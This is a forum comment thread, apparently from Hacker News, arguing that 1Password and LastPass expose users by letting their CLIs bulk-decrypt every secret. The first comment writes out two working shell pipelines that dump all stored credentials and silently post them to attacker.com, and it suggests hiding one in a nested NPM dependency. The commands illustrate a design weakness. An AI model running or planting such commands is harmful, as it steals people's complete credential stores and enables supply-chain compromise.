by lrvick · 3mo ago · 0 comments
Exfiltrate all plaintext credentials from 1password:
op list items \
| jq -r '.[].uuid' \
| xargs -n1 bash -c 'op get item "$1"' -- \
| curl -F 'p=<-' https://attacker.com >/dev/null 2>&1
Exfiltrate all plaintext credentials from lastpass:lpass ls \
| grep -oP '(?<=id: )([0-9]+)' \
| xargs -n1 bash -c 'lpass ls | grep "id: $1]"; lpass show $1' -- \
| curl -F 'p=<-' https://attacker.com >/dev/null 2>&1
Stick one of those in a dependency of a dependency of a dependency of a popular NPM package and you can get access to developer accounts at every sector of the tech industry.Super easy to avoid with minimal change to user experience, and yet no one did because "no one else does".
Except for Mooltipass and Password Store, which unfortunately no one has heard of. It is the popular options with billions of dollars not doing the basics the niche open source ones do that is so unforgivable.
I just wish to not see others repeating those mistakes and putting users at increased risk for no reason. I know someone personally who had their savings account wiped out because malware dumped their lastpass database. A malicious browser plugin to sniff the master password is all it takes without a hardware anchor.
https://www.1password.dev/cli/get-started
And getting secrets using it requires explicit authentication with password/fingerprint/etc (I forget if it’s per item or per process, but still).
Decrypting -all- passwords any time you decrypt -any- password under the hood is an irresponsible design for a password manager, especially on modern hardware with so so so many other options that enforce rate limiting, hardware anchored encryption, and physical user consent.
Performative 2FA for every secret like 1password does when the binary has direct access to bulk decrypt all secrets in plain text with a key in system memory is a very strange choice given you could just have the hardware doing the individual decryption for a single secret instead of exposing the secrets that can bulk decrypt the whole database.
I don't understand why anyone would use LastPass. [2]
[1] https://www.1password.community/developers-69/security-conce... [2] https://en.wikipedia.org/wiki/LastPass#Security_incidents